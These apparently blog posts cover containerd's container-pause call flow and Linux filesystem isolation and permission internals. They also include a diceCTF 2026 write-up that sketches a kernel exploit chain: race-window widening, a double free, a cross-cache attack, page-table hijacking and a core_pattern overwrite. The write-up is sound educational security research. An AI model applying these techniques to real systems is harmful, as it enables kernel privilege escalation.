    registry.Register(&plugin.Registration{
        // [...]
        InitFn: func(ic *plugin.InitContext) (any, error) {
            // [...]
            i, err := ic.GetByID(plugins.ServicePlugin, services.TasksService) // [4]
            // [...]
            return &service{local: i.(api.TasksClient)}, nil // [3]
        },
    })
}

// plugins/services/tasks/local.go
func init() {
    registry.Register(&plugin.Registration{
        // [...]
        ID:       services.TasksService, // [5]
        // [...]
    })
}

The local package defines Pause(). It first gets the container runtime task object via l.getTask() [6] and then calls t.Pause() [7]. The process for obtaining task object is somewhat complicated, so I’ve left some comments to help understand the call flow.

// plugins/services/tasks/local.go
func (l *local) Pause(ctx context.Context, r *api.PauseTaskRequest, _ ...grpc.CallOption) (*ptypes.Empty, error) {
    // [...]
    t, err := l.getTask(ctx, r.ContainerID) // [6], return runtime.Task
    err = t.Pause(ctx) // [6]
    // [...]
}

func (l *local) getTask(ctx context.Context, id string) (runtime.Task, error) {
    container, err := l.getContainer(ctx, id)
    return l.getTaskFromContainer(ctx, container)
}

func (l *local) getContainer(ctx context.Context, id string) (*containers.Container, error) {
    var container containers.Container
    // 'initFunc()' set 'l.containers' to 'metadata.NewContainerStore(db)'
    container, err := l.containers.Get(ctx, id) // call 'Get()' in 'core/metadata/containers.go'
                                                // -> get container from db
    return &container
}

func (l *local) getTaskFromContainer(ctx context.Context, container *containers.Container) (runtime.Task, error) {
    /**
     * initFunc() set 'l.v2Runtime' to 'v2r.(runtime.PlatformRuntime)'
     * -> v2r is from 'ic.GetByID(plugins.RuntimePluginV2, "task")'
     * -> init() 'core/runtime/v2/task_manager.go' register 'plugins.RuntimePluginV2'
     * -> Get() return 'newShimTask(shim)', which is defined in 'core/runtime/v2/shim.go'
     * -> shimTask is the actual structure which is extended from runtime.Task interface
     */
    t, err := l.v2Runtime.Get(ctx, container.ID)
    return t
}

The task object of the t.Pause() call is returned from newShimTask(shim) in the v2 package, so we can see that t.Pause() corresponds to the Pause() handler in the same package [8]. It then calls s.task.Pause(), whose definition lives in its task client, and s.task is created by NewTaskClient() [10].

// core/runtime/v2/shim.go
package v2

func newShimTask(shim ShimInstance) (*shimTask, error) {
    _, version := shim.Endpoint()
    taskClient, err := NewTaskClient(shim.Client(), version) // [10]
    // [...]
    return &shimTask{
        ShimInstance: shim,
        task:         taskClient, // [9]
    }, nil
}

func (s *shimTask) Pause(ctx context.Context) error { // [8]
    /**
     * s.task is assigned to NewTaskClient()'s return value, which calls a switch case with client type and version
     * - ttrpc + v2 -> *ttrpcV2Bridge
     * - ttrpc + v3 -> api.NewTTRPCTaskClient
     * - grpc + v3  -> *grpcV3Bridge
     */
    if _, err := s.task.Pause(ctx, &task.PauseRequest{
        ID: s.ID(),
    }) // [...]
}

NewTaskClient() returns different TTRPCTaskService object depending on the type and version. For a TTRPC client with version 2, a ttrpctaskClient object is created [11]. Finally, we wrap the TTRPC message and send it [12] to the service "containerd.task.v2.Task" with method "Pause" through the shim daemon socket.

// core/runtime/v2/bridge.go
func NewTaskClient(client any, version int) (TaskServiceClient, error) {
    switch c := client.(type) {
    case *ttrpc.Client:
        switch version {
        case 2:
            return &ttrpcV2Bridge{client: v2.NewTTRPCTaskClient(c)}, nil // <--------
        case 3:
            return api.NewTTRPCTaskClient(c), nil
        // [...]
        }

    case grpc.ClientConnInterface:
        // [...]
        if version != 3 {
            // [...]
        }
        return &grpcV3Bridge{api.NewTaskClient(c)}, nil
    // [...]
    }
}

// api/runtime/task/v2/shim_ttrpc.pb.go
func NewTTRPCTaskClient(client *ttrpc.Client) TTRPCTaskService {
    return &ttrpctaskClient{ // [11]
        client: client,
    }
}

func (c *ttrpctaskClient) Pause(ctx context.Context, req *PauseRequest) (*emptypb.Empty, error) {
    var resp emptypb.Empty
    if err := c.client.Call(ctx, "containerd.task.v2.Task", "Pause", req, &resp); err != nil { // [12]
        return nil, err
    }
    return &resp, nil
}

4. containerd-shim-runc-v2 (shim Daemon)

Every container needs a shim daemon to hold its stdio, wait for its init process, and report exit status back to containerd. This also decouples the container’s lifecycle from containerd itself: if containerd crashes or gets restarted, the shim keeps running, the container stays alive, and containerd can later re-attach to the shim daemon to recover state. As a result, a shim daemon exposes the Unix socket, allowing containerd to indirectly control the container.

When a shim daemon initializes, the main function run() iterates through all predefined service objects [1] and register each as a TTRPC service [2].

// pkg/shim/shim.go
func run(ctx context.Context, manager Manager, config Config) error {
    // [...]
    for _, p := range registry.Graph(func(*plugin.Registration) bool { return false }) {
        ttrpcServices = append(ttrpcServices, src) // [1]
    }
    // [...]
    for _, srv := range ttrpcServices {
        if err := srv.RegisterTTRPC(server); err != nil { // [2]
            // [...]
        }
    }
    // [...]
}

The task package’s register function calls RegisterService() with endpoint descriptors, one of which is "Pause" [3].

// cmd/containerd-shim-runc-v2/task/service.go
func (s *service) RegisterTTRPC(server *ttrpc.Server) error {
    taskAPI.RegisterTTRPCTaskService(server, s) // <--------
    return nil
}

func RegisterTTRPCTaskService(srv *ttrpc.Server, svc TTRPCTaskService) {
    srv.RegisterService("containerd.task.v2.Task", &ttrpc.ServiceDesc{
        Methods: map[string]ttrpc.Method{
            ...
            "Pause": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { // [3]
                var req PauseRequest
                if err := unmarshal(&req); err != nil { return nil, err }
                return svc.Pause(ctx, &req)
            },
            ...
        },
    })
}

The svc.Pause() ends up at the Pause() function in containerd/go-runc/runc.go, which actually runs the command runc pause [4] to pause the container. Interesting!

// cmd/containerd-shim-runc-v2/task/service.go
func (s *service) Pause(ctx context.Context, r *taskAPI.PauseRequest) (*ptypes.Empty, error) {
    container, err := s.getContainer(r.ID)
    if err := container.Pause(ctx); err != nil { // <--------
        // [...]
    }
    s.send(&eventstypes.TaskPaused{
        ContainerID: container.ID,
    })
    // [...]
}

// cmd/containerd-shim-runc-v2/runc/container.go
func (c *Container) Pause(ctx context.Context) error {
    return c.process.(*process.Init).Pause(ctx) // <--------
}

// cmd/containerd-shim-runc-v2/process/init.go
func (p *Init) Pause(ctx context.Context) error {
    // [...]
    return p.initState.Pause(ctx) // <--------
}

// cmd/containerd-shim-runc-v2/process/init_state.go
func (s *runningState) Pause(ctx context.Context) error {
    // [...]
    if err := s.p.runtime.Pause(ctx, s.p.id); err != nil { // <--------
        // [...]
    }
    // [...]
}

// vendor/github.com/containerd/go-runc/runc.go
func (r *Runc) Pause(context context.Context, id string) error {
    return r.runOrError(r.command(context, "pause", id)) // [4]
}

5. runc

From the previous section, we learned that the shim daemon handles the pause container request by forking a new process and executing runc. But what exactly is runc?

runc is a low-level container runtime implementation, or you can say an OCI (Open Container Initiative) runtime. Its job is to directly control a container, such as creating a new container, listing all processes inside a container, and so on.

We’ll continue using “pause a container” as our example. The variable pauseCommand in pause.go defines how the pause command works, and other commands follow a similar pattern: a file named .go with a corresponding variable Command.

The Action field shows the implementation: check arguments, get the container, and pause it [1].

// pause.go
var pauseCommand = &cli.Command{
    Name:  "pause",
    Usage: "pause suspends all processes inside the container",
    ArgsUsage: `

Where "" is the name for the instance of the container to be
paused. `,
    Description: `The pause command suspends all processes in the instance of the container.

Use runc list to identify instances of containers and their current status.`,
    // Disable comma as separator for slice flags.
    DisableSliceFlagSeparator: true,
    Action: func(_ context.Context, cmd *cli.Command) error {
        if err := checkArgs(cmd, 1, exactArgs); err != nil {
            return err
        }
        container, err := getContainer(cmd)
        // [...]
        err = container.Pause() // [1]
        // [...]
        return nil
    },
}

Pause() checks whether the container has been created or is still running, and then calls c.cgroupManager.Freeze() [2]. There are two cgroup versions: v1 and v2, so c.cgroupManager could be either version. Here, we’ll assume v2 is being used.

// libcontainer/container_linux.go
func (c *Container) Pause() error {
    // [...]
    status, err := c.currentStatus()
    // [...]
    switch status {
    case Running, Created:
        if err := c.cgroupManager.Freeze(cgroups.Frozen); err != nil { // [2]
            return err
        }
        // [...]
    }
    // [...]
}

Cgroup version 2, referred to as cgroupv2 in the code, uses fs2 as its filesystem manager, and the Freeze() handler in turn calls setFreezer() [3].

// vendor/github.com/opencontainers/cgroups/systemd/v2.go
func (m *UnifiedManager) Freeze(state cgroups.FreezerState) error {
    // m.fsMgr is assigned to 'fs2.NewManager(config, m.path)' in NewUnifiedManager()
    return m.fsMgr.Freeze(state) // <--------
}

// vendor/github.com/opencontainers/cgroups/fs2/fs2.go
func (m *Manager) Freeze(state cgroups.FreezerState) error {
    // [...]
    if err := setFreezer(m.dirPath, state); err != nil { // [3]
        return err
    }
    // [...]
}

The freezer modifies the pseudo-file cgroup.freeze [4, 5] to update the status of the associated container, causing it to be frozen.

// vendor/github.com/opencontainers/cgroups/fs2/freezer.go
func setFreezer(dirPath string, state cgroups.FreezerState) error {
    // [...]
    fd, err := cgroups.OpenFile(dirPath, "cgroup.freeze", unix.O_RDWR) // [4]
    // [...]
    if _, err := fd.WriteString(stateStr); err != nil { // [5]
        // [...]
    }
    // [...]
}

6. Summary

The first post only focuses on the communication methods and the relationship between each component. In the next two posts, I will cover the attack surfaces and some past vulnerabilities, as well as the NVIDIA toolkit implementation.

diceCTF 2026 - cornelslop

2026-03-09T00:00:00+00:00

This week I played diceCTF 2026 with team fewer and spent 12 hours solving a Linux kernel challenge, cornelslop. This post is a simple writeup without too much detail, and you can find the full exploit here.

1. Bug

There is a race condition between delete_entry() and check_entry().

check_entry() [1] calls xa_load() to retrieve the entry without a spinlock or RCU lock, so it is possible that the entry has been deleted by delete_entry() in the meantime. Later, destruct_entry() [2] is called on the released object to free it a second time.

static int check_entry(struct cornelslop_user_entry *ue)
{
    uint8_t shash[SHA256_DIGEST_SIZE];
    struct cornelslop_entry *e;
    int ret = 0;

    e = xa_load(&cornelslop_xa, ue->id); // [1]
    // [...]
    
    ret = sha256_va_range(e->va_start, e->va_end, shash);
    ue->corrupted = memcmp(e->shash, shash, SHA256_DIGEST_SIZE);

    if (ue->corrupted) {
        xa_erase(&cornelslop_xa, ue->id);
        destruct_entry(e); // [2]
        // [...]
    }

finish:
    return ret;
}

The flow to trigger UAF and double free is as follows:

[Thread-1]                               [Thread-2]
delete_entry()                           check_entry()
                                          e = xa_load(&cornelslop_xa, ue->id)
                                          sha256_va_range(e->va_start, e->va_end, shash)
                                           ...
 e = xa_erase(&cornelslop_xa, ue->id)
 destruct_entry(e)
  call_rcu(&e->rcu, destruct_entry_rcu)

[=== RCU ===]                             [=== context switch ===]
destruct_entry_rcu()
 kfree(e)
                                          access e <--- UAF
                                          destruct_entry(e) <--- double free

2. Problems

2.1. Race window & RCU

But the problem is that the RCU callback requires some time (RCU period) and a context switch once on each CPUs to be triggered, so sha256_va_range() has to run for a long time.

I used the shared memory trick to extend race window, and you can read Faith’s post for more details. The only difference is that the environment has no ramfs mountpoint, so I used memfd_create instead.

Internally, the shared memory page fault handler calls shmem_falloc_wait() to wait for hole punching, and it then calls schedule() [1] to perform a context switch, which also satisfies one of the conditions to trigger RCU callback.

static vm_fault_t shmem_falloc_wait(struct vm_fault *vmf, struct inode *inode)
{
    // [...]
    if (shmem_falloc &&
        shmem_falloc->waitq &&
        vmf->pgoff >= shmem_falloc->start &&
        vmf->pgoff < shmem_falloc->next) {
        // [...]
        prepare_to_wait(shmem_falloc_waitq, &shmem_fault_wait,
                TASK_UNINTERRUPTIBLE);
        spin_unlock(&inode->i_lock);
        schedule(); // [1]
        // [...]
    }
    // [...]
}

2.2. Cross the cache

Even with a double free primitive, we can do nothing because entries are allocated from the specific cache cornelslop_entry_cachep. So the only way to exploit it is to perform a cross-cache attack.

We first allocate another entry to reclaim the freed object, and once the RCU callback is triggered, the object is released again. It allows us to hold a reference from the xarray to the UAF object.

To achieve the cross-cache attack, we have to spray lots of entries at the beginning, but due to alloc_id() range, we can only allocate entries up to MAX_ENTRIES (128), and it is totally insufficient.

Unlike kqx’s solution, which leveraged the object releasing mechanism in a multicore environment, I chose a relatively stupid and brute-force way to spray entries.

We found that there is a sha256_va_range() [1] call between the entry allocation and alloc_id(). In theory, we can spawn thousands of threads and use the shared memory trick again to extend the race window. Each one allocates an entry and all of them are released after some time [2]. This allows us to allocate more than MAX_ENTRIES entries!

static int add_entry(struct cornelslop_user_entry *ue)
{
    struct cornelslop_entry *e, *old;
    int ret = 0;
    int id;

    if (ue->va_end < ue->va_start)
        return -EINVAL;

    e = kmem_cache_alloc(cornelslop_entry_cachep, GFP_KERNEL | __GFP_ZERO);
    // [...]
    ret = sha256_va_range(e->va_start, e->va_end, e->shash); // [1]
    // [...]
    id = alloc_id();
    if (id < 0) {
        ret = id;
        goto fail;
    }
    // [...]
fail:
    kfree(e); // [2]
    return ret;
}

But in fact, the number of entries is still not enough. The reason is that after the hole punch finishes, the CPU will not schedule automatically, and other threads are unable to be scheduled to call add_entry().

How to solve it? One solution is to punch the hole again and again, and it works perfectly 🤣!

while (!stop) {
    usleep(50);
    SYSCHK(fallocate(memfd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, MAX_LEN));
}

However, we cannot accurately control the order in which threads call kfree(e), which makes it quite unstable.

Anyway, it works 😉.

2.3. Page UAF

After we return the slab containing the UAF object back to the buddy system, we allocate lots of pipe pages to reclaim it.

Remember we still have a reference to the UAF object? We then call delete_entry() on that entry, and kfree() is applied on one of the pipe pages. So now we have a page UAF!

The remaining steps are fairly straightforward: spraying page tables, reading the empty zero page PTE, calculating the core pattern PTE, hijacking the page table, overwriting the core pattern, and finally triggering a segfault to read the flag.

Filesystem 102

2026-03-04T00:00:00+00:00

In Filesystem 101, we covered the structural relationships of the Linux filesystem from a process perspective. In this post, we continue analyzing how it interacts with other kernel subsystems.

1. Isolation

1.1. chroot, chdir and pivot_root

The kernel always call path_openat() to resolve pathname and obtain the corresponding path object. This function determines the lookup starting directory based on current->fs, which is an fs_struct object containing the process’s current working path and root path information.

For example, if pathname starts with "/", current->fs->root is used; if pathname specifies AT_FDCWD as the directory file descriptor, current->fs->cwd is used.

struct fs_struct {
    int users;
    seqlock_t seq;
    int umask;
    int in_exec;
    struct path root, pwd;
} __randomize_layout;

There are some syscalls able to configure these directories information: chroot, chdir and pivot_root.

The syscall chroot simply resolves the provided pathname and updates current->fs->root, but it requires the process to have the CAP_SYS_CHROOT capability in its user namespace.

__do_sys_chroot(filename)
=> user_path_at(AT_FDCWD, filename, lookup_flags, &path)
=> check ns_capable(current_user_ns(), CAP_SYS_CHROOT)
=> set_fs_root(current->fs, &path)
  => fs->root = *path

The syscall chdir resolves pathname and updates the working directory, current->fs->pwd. Unlike chroot, it requires no capability.

__do_sys_chroot(filename)
=> user_path_at(AT_FDCWD, filename, lookup_flags, &path)
=> set_fs_pwd(current->fs, &path)
  => fs->pwd = *path

The syscall pivot_root is the most complicated one. It is used to update the entire mount system rather than only the root directory or working directory. It requires the CAP_SYS_ADMIN capability and performs a lot of checks before updating. After these checks, it iterates over all processes and threads, finds those tasks whose working directory or root directory matches the old ones, and updates them to the new ones.

The whole process not only updates current->fs, but also involves mount point validation and namespace handling. Therefore, when setting up containers, pivot_root should be used to properly isolate execution environments.

__do_sys_pivot_root(new_root, put_old)
=> may_mount()
  => ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN)

=> user_path_at(AT_FDCWD, new_root, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &new)
=> user_path_at(AT_FDCWD, put_old, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &old)
=> get_fs_root(current->fs, &root)
=> ... lots of check

=> chroot_fs_refs(&root, &new)
  => iterate all process and thread
    => fs = p->fs
    
    => replace_path(&fs->root, old_root, new_root)
      => if fs->root == old_root
        => fs->root = new_root
    
    => replace_path(&fs->pwd, old_root, new_root)

1.2. CLONE_FS and CLONE_NEWNS

The kernel supports the system calls unshare and clone to create namespaces, isolating processes in different execution environments. In this post, we only discuss the unshare case, as the clone operation is largely similar.

The goal of the unshare syscall is to create a namespace proxy for a process. The namespace proxy is then installed with newly created namespaces. The simplified call trace is shown below; only function calls relevant to the later discussion are included.

__do_sys_unshare(unshare_flags)
=> ksys_unshare(unshare_flags)
  => unshare_fs(unshare_flags, &new_fs)
  => ...
  
  => unshare_nsproxy_namespaces(unshare_flags, &new_nsproxy, new_cred, new_fs)
    => create_new_namespaces(unshare_flags, current, user_ns, new_fs ? new_fs : current->fs)
      => new_nsp = create_nsproxy()
      => new_nsp->mnt_ns = copy_mnt_ns(flags, tsk->nsproxy->mnt_ns, user_ns, new_fs)
      => ...
  
  => switch_task_namespaces(current, new_nsproxy)
    => p->nsproxy = new

Among all flags, two are directly related to the filesystem.

The first is CLONE_FS, It is used to duplicate the current fs_struct object (current->fs) so that updates to the root directory and the working directory can be performed without affecting other processes.

unshare_fs() is called during the unsharing process. It creates a new fs_struct object, and all subsequent filesystem updates are performed on this new object instead of current->fs. Finally, if all operations complete successfully, current->fs is replaced with the new instance.

unshare(unshare_flags)
=> ...
=> unshare_fs(unshare_flags, new_fsp)
  => *new_fsp = copy_fs_struct(fs)
    => fs = kmem_cache_alloc(fs_cachep)
    => fs->root = old->root
    => fs->pwd = old->pwd
=> ...
=> current->fs = new_fs

The second flag is CLONE_NEWNS. It is used to create a new mount namespace, allowing the process to have a private copy of the current filesystem that is not shared with other processes.

Internally, copy_mnt_ns() creates a new mount namespace (new_ns), duplicates the current filesystem tree from the root as a private tree, and then binds the new root to the newly created mount namespace object. It also needs to update fs->root and fs->pwd so that they point to the new tree; otherwise, filesystem isolation would be broken.

create_new_namespaces(flags, tsk, user_ns, new_fs)
=> new_nsp = create_nsproxy()
=> new_nsp->mnt_ns = copy_mnt_ns(flags, tsk->nsproxy->mnt_ns, user_ns, new_fs)
  => old = ns->root
  => new_ns = alloc_mnt_ns(user_ns, false)
  => new = copy_tree(old, old->mnt.mnt_root, copy_flags)
  => new_ns->root = new
  
  => traverse the trees
    => if (&p->mnt == new_fs->root.mnt)
      => new_fs->root.mnt = mntget(&q->mnt)
    => if (&p->mnt == new_fs->pwd.mnt)
      => new_fs->pwd.mnt = mntget(&q->mnt)

2. Permission Model

2.1. Operation Check

Before performing file-related operations, the kernel always call functions following the may_XXX() naming convention to verify whether a process has sufficient permissions.

For example, since mounting may affect the entire system, the process is required to have the CAP_SYS_ADMIN capability in the corresponding user namespace. This check is performed by may_mount().

bool may_mount(void)
{
    return ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN);
}

Opening files is a more common case. Before reading, writing or executing a file, may_open() is invoked to check if the process has the required access permissions. The key function responsible for permission checking is acl_permission_check().

It first retrieves the file mode from inode->i_mode, which corresponds to the permission bits (e.g., -rw-r--r--) shown in the output of the ls -al command. This value defines which users are allowed to access the file and with what permissions.

may_open(idmap, path, acc_mode, flag)
=> inode_permission(idmap, inode, MAY_OPEN | acc_mode)
  => do_inode_permission(idmap, inode, mask)
    => generic_permission(idmap, inode, mask)
      => acl_permission_check(idmap, inode, mask)
        => mode = inode->i_mode
        => vfsuid = i_uid_into_vfsuid(idmap, inode)
        => ... check
        => vfsgid = i_gid_into_vfsgid(idmap, inode)
        => ... check

It looks very straightforward: retrieving the access mode and checking the identifiers against that mode.

But what are i_uid_into_vfsuid() and i_gid_into_vfsgid()? What is the difference between a UID (uid) and a VFS UID (vfsuid)?

Basically, every file stores its owner and group information in its inode object, namely inode->i_uid and inode->i_gid. However, due to the namespace mechanism, the same UID or GID value may correspond to different users in different user namespaces. Therefore, these identifiers must be converted into meaningful values before being used for permission checks.

This conversion is performed by i_uid_into_vfsuid() and i_gid_into_vfsgid(). Corresponding inverse conversion functions, mapped_fsuid() and mapped_fsgid(), are also provided.

Here, we only analyze the UID conversion path, as the GID handling follows the same mechanism.

If the idmap (idmap) points to the dummy one (&nop_mnt_idmap), the kernel simply returns inode->i_uid as the VFS UID value. Otherwise, it looks up the corresponding VFS UID from the idmap (idmap->uid_map) using the UID in the user namespace rather than the init namespace.

i_uid_into_vfsuid(idmap, inode)
=> make_vfsuid(idmap, i_user_ns(inode), inode->i_uid)
  => if (idmap == &nop_mnt_idmap)
    => return VFSUIDT_INIT(kuid)
  
  => uid = from_kuid(fs_userns, kuid)
  => return VFSUIDT_INIT_RAW(map_id_down(&idmap->uid_map, uid))

The idmap is a member of the vfsmount structure and is used to map user IDs between namespaces.

struct vfsmount {
    struct dentry *mnt_root;       /* root of the mounted tree */
    struct super_block *mnt_sb;    /* pointer to superblock */
    int mnt_flags;
    struct mnt_idmap *mnt_idmap;
} __randomize_layout;

By default, the idmap of a mount object is set to &nop_mnt_idmap.

alloc_vfsmnt(name)
=> mnt = kmem_cache_zalloc(mnt_cache)
=> mnt->mnt.mnt_idmap = &nop_mnt_idmap
=> return mnt

A process can set the idmap of a specific mount point to that of a user namespace using the mount_setattr syscall (the open_tree_attr syscall can also be used).

Internally, build_mount_idmapped() retrieves the user namespace object from the given userns_fd, which is a file descriptor obtained by opening file "/proc//ns/user". After that, the UID (mnt_userns->uid_map) and GID (mnt_userns->gid_map) mappings of the user namespace are duplicated and assigned to the mount point’s idmap (mnt->mnt.mnt_idmap).

__do_sys_mount_setattr(dfd, path, flags, uattr, usize)
=> wants_mount_setattr(uattr, usize, &kattr)
  => copy_struct_from_user(&attr, sizeof(attr), uattr, usize)
  => build_mount_kattr(&attr, usize, kattr)
    => build_mount_idmapped(attr, usize, kattr)
      => CLASS(fd, f)(attr->userns_fd)
      => ns = get_proc_ns(file_inode(fd_file(f)))
      => mnt_userns = container_of(ns, struct user_namespace, ns)
      => kattr->mnt_userns = get_user_ns(mnt_userns)

=> user_path_at(dfd, path, kattr.lookup_flags, &target)

=> do_mount_setattr(&target, &kattr)
  => mnt_idmap = alloc_mnt_idmap(kattr->mnt_userns)
    => copy_mnt_idmap(&mnt_userns->uid_map, &idmap->uid_map)
    => copy_mnt_idmap(&mnt_userns->gid_map, &idmap->gid_map)

  => kattr->mnt_idmap = mnt_idmap
  => mount_setattr_commit(kattr, mnt)
    => do_idmap_mount(kattr, m)
      => smp_store_release(&mnt->mnt.mnt_idmap, mnt_idmap_get(kattr->mnt_idmap))

At this point, we know that a mount idmap is essentially derived from the idmap of a user namespace. In the next section, we will explain how to create an idmap and how the mapping works.

2.2. UID & GID mappings

The user and group identifiers of a process are stored in current->cred, which is a cred object.

struct cred {
    // [...]
    kuid_t uid;   /* real UID of the task */
    kgid_t gid;   /* real GID of the task */
    kuid_t suid;  /* saved UID of the task */
    kgid_t sgid;  /* saved GID of the task */
    kuid_t euid;  /* effective UID of the task */
    kgid_t egid;  /* effective GID of the task */
    kuid_t fsuid; /* UID for VFS ops */
    kgid_t fsgid; /* GID for VFS ops */
    // [...]
};

When it comes to user namespace, how does the kernel save the real UID and GID of a process?

Well, if we examine the implmentation of unshare_userns(), we can see that it simply duplicates the current cred object, configure a new user namespace object (ns), and finally associates the cred with that namespace, without modifying the UID or GID information!

unshare_userns(unshared_flags, new_cred)
=> cred = prepare_creds()
=> create_user_ns(cred)
  => ns = kmem_cache_zalloc(user_ns_cachep)
  => set_cred_user_ns(new, ns)
=> *new_cred = cred

This implies that the cred structure always preserves the real UID and GID. So, there must be another place that stores the UID and GID mapping information for each user namespace.

We can identify where the mapping information is stored by examining the behavior of the getuid system call.

When getuid() is invoked immediately after unsharing into a new user namespace, the returned value may be 65534 (the "nobody" user). This happens when the UID cannot be mapped through the namespace’s UID mapping (targ->uid_map) during the lookup performed by map_id_range_up().

__do_sys_getuid()
=> from_kuid_munged(current_user_ns(), current_uid())
  => uid = from_kuid(to, kuid)
    => map_id_up(&targ->uid_map, __kuid_val(kuid))
      => map_id_range_up(map, id, 1)
        => extent = map_id_range_up_base(extents, map, id, count)
        => if (!extent)
          => id = -1
  
  => if (uid == -1)
    => uid = overflowuid // 65534

Obviously, a user namespace maintains its own UID mapping (targ->uid_map), and this mapping is used to convert UIDs or GIDs within that user namespace into real UIDs (KUIDs) or GIDs (KGIDs), and vice versa.

Here comes another question: what data does the mapping actually store, and how does a process configure the mapping?

The file /proc//uid_map allows user to insert new mapping entries into ns->uid_map. Each entry follows the format , where represents the first mapped UID in the current user namespace, represents the corresponding UID in the parent namespace, and specifies the size of the mapping range.

For example, the entry "0 1000 1" means that UID 1000 in the parent user namespace is mapped to UID 0 in the current user namespace.

When writing mapping entries to /proc//uid_map, proc_uid_map_write() is triggered. It parses the input data and converts it into internal structures. Finally, the new mapping (new_map.extent) is copied to ns->uid_map, completing the idmap setup.

proc_uid_map_write(file, buf, size, ppos)
=> map_write(file, buf, size, ppos, CAP_SETUID, &ns->uid_map, &ns->parent->uid_map)
  => extent.first = simple_strtoul(pos, &pos, 10)
  => extent.lower_first = simple_strtoul(pos, &pos, 10)
  => extent.count = simple_strtoul(pos, &pos, 10)
  => insert_extent(&new_map, &extent)
    => dest = &map->extent[map->nr_extents]
    => *dest = *extent
  
  => new_idmap_permitted(file, map_ns, cap_setid, &new_map)

  => memcpy(map->extent, new_map.extent, new_map.nr_extents * sizeof(new_map.extent[0]))
  => map->nr_extents = new_map.nr_extents

At first glance, this mechanism may appear fragile since the user can manipulate the mapping. In practice, however, new_idmap_permitted() strictly validates all entries, including capability check and whether the requested UID range is permitted.

To summarize the idmap mechanism, let’s go back to make_vfsuid(), which we mentioned in the last section. It is used to map a KUID (the UID stored in the inode object) to a UID in the corresponding user namespace.

The inverse function is from_vfsuid(). It is used to map a UID in the user namespace back to the real UID (the UID in initial user namespace).

  +----------------+        +----------------+
  | inode->i_uid   |        | target user ns |
  | (init user ns) |        |                |
  |                |        |                |
  |       1000     |        |        0       |
  +--------+-------+        +--------+-------+
           |                         |
           | make_vfsuid()           | from_vfsuid()           path
           v                         v                           |
        +------------- idmap ------------+                       | (mnt)
        |    ns_uid  host_uid  range     |                       v
        |       0      1000      1       |   <-------------  vfsmount
        |  (first) (lower_first) (count) |     (mnt_idmap)
        +--------------------------------+
           |                         |
           v                         v
           0                        1000

2.3. SUID

Some of the kernel mechanisms can grant files special permissions; one of the most common is the SUID bit.

chmod u+s ./file

In fact, both the SUID and SGID bits are stored in inode->i_mode as bit flags: S_ISUID (0004000) and S_ISGID (0002000).

Internally, the chmod syscall invokes the .setattr handler of the inode (inode->i_op->setattr) and updates the inode->i_mode with the new mode value.

__do_sys_chmod
=> do_fchmodat()
  => do_fchmodat(AT_FDCWD, filename, mode, 0)
    => user_path_at(dfd, filename, lookup_flags, &path)
      => chmod_common(&path, mode)
        => notify_change(mnt_idmap(path->mnt), path->dentry, &newattrs, &delegated_inode)
          => may_setattr(idmap, inode, ia_valid)
            => inode->i_op->setattr(idmap, dentry, attr)
              => ...
              => mode = attr->ia_mode
              => inode->i_mode = mode

These two bits are retrieved when an executable is run. The execve syscall invokes bprm_creds_from_file() to handle the process credentials. It then calls bprm_fill_uid() to check the file’s SUID bit. If the kernel detects that the SUID bit is set, it retrieves inode->i_uid, map it to a KUID, and finally assigns it to the cred object (bprm->cred->euid).

bprm_creds_from_file(brpm)
=> file = bprm->execfd_creds ? bprm->executable : bprm->file

=> bprm_fill_uid(bprm, file)
  => inode = file_inode(file)
  => ...
   => vfsuid = i_uid_into_vfsuid(idmap, inode)
  => bprm->cred->euid = vfsuid_into_kuid(vfsuid)

=> security_bprm_creds_from_file(bprm, file)

2.4. Capability

The capability is also one of the mechanisms that allows a user to grant higher privileges.

setcap cap_setuid+ep ./test

These capabilities are actually stored as extended attributes (EAs). When the kernel detects that the EA name is "security.capability", it first calls cap_convert_nscap() to verify whether the process has sufficient privileges to set capabilities on the file. It then invokes the filesystem’s set handler (handler->set) to persistently store the EA.

__do_sys_setxattr(dfd, pathname, at_flags, name, uargs, usize)
=> path_setxattrat(AT_FDCWD, pathname, 0, name, value, size, flags)
  => setxattr_copy(name, &ctx)
    => import_xattr_name(ctx->kname, name)
    => ctx->kvalue = vmemdup_user(ctx->cvalue, ctx->size)

  => filename_setxattr(dfd, filename, lookup_flags, &ctx)
    => filename_lookup(dfd, filename, lookup_flags, &path, NULL)
    => do_setxattr(file_mnt_idmap(f), f->f_path.dentry, ctx)
      => vfs_setxattr(idmap, dentry, ctx->kname->name, ctx->kvalue, ctx->size, ctx->flags)
        
        => if name == "security.capability"
          => cap_convert_nscap(idmap, dentry, &value, size)
        
        => __vfs_setxattr_locked(idmap, dentry, name, value, size, flags, &delegated_inode)
          => __vfs_setxattr_noperm(idmap, dentry, name, value, size, flags)
            => __vfs_setxattr(idmap, dentry, inode, name, value, size, flags)
              => handler = xattr_resolve_name(inode, &name)
              => handler->set(handler, idmap, dentry, inode, name, value, size, flags)

Like the SUID bit, capabilities are also handled during the execve syscall.

Within bprm_creds_from_file(), security_bprm_creds_from_file() is called to handle the capability-related logic. It gets the EA named "security.capability" (XATTR_NAME_CAPS) from the executable file and updates the permitted capability set of the cred object (new->cap_permitted) based on the EA value.

bprm_creds_from_file(brpm)
=> file = bprm->execfd_creds ? bprm->executable : bprm->file
=> bprm_fill_uid(bprm, file)

=> security_bprm_creds_from_file(bprm, file)
  => cap_bprm_creds_from_file(bprm, file)
    => get_file_caps(bprm, file, &effective, &has_fcap)
      => get_vfs_caps_from_disk(file_mnt_idmap(file), file->f_path.dentry, &vcaps)
        => __vfs_getxattr((struct dentry *)dentry, inode, XATTR_NAME_CAPS, &data, XATTR_CAPS_SZ)
        => ... set vcaps
    
      => bprm_caps_from_vfs_caps(&vcaps, bprm, effective, has_fcap)
        => new = bprm->cred
        => ... set new->cap_permitted.val

3. Security Issues

CVE-2023-0386: ovl: fail on invalid uid/gid mapping at copy up

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0ad3fd53e2bd67806351de63a4f9c3

I think this is one of the most famous and impactful logical bugs that has occured in filesystems in recent years.

This vulnerability occurs in the kernel function ovl_copy_up_one(), which is used by OverlayFS to copy a file from a lower directory to an upper directory.

